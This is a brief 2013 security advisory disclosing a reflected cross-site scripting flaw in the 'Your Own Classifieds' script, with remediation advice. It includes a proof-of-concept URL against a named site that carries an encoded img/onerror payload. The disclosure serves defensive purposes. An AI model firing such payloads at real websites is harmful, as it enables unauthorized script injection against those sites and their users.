Your Own Classifieds Cross Site Scripting

2013.03.08
Credit: Rafay Baloch
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

*Vendor: * http://www.yourownclassifieds.com *Description: * Your own classified software is a script that helps you creates your own store. *Discovered by: Rafay Baloch* Vulnerability: Non persistent XSS The script fails to sanitize the input that is entered into the text box resulting into a XSS. *POC*: http://www.gumtreeclone.com/cat-search/for-sales-2/XSS http://www.gumtreeclone.com/cat-search/for-sales-2/%22%3E%3Cimg%20src=x%20onerror=prompt%280%29;%3E *Fix*: - All input generated at any point inside the application should be html encoded and filtered/sanitized before it's copied to the application response. - All html special characters should be replaced with it's corresponding html entities. -- Warm Regards, Rafay Baloch http://rafayhackingarticles.net http://techlotips.com

References:

http://www.yourownclassifieds.com
http://rafayhackingarticles.net
http://techlotips.com


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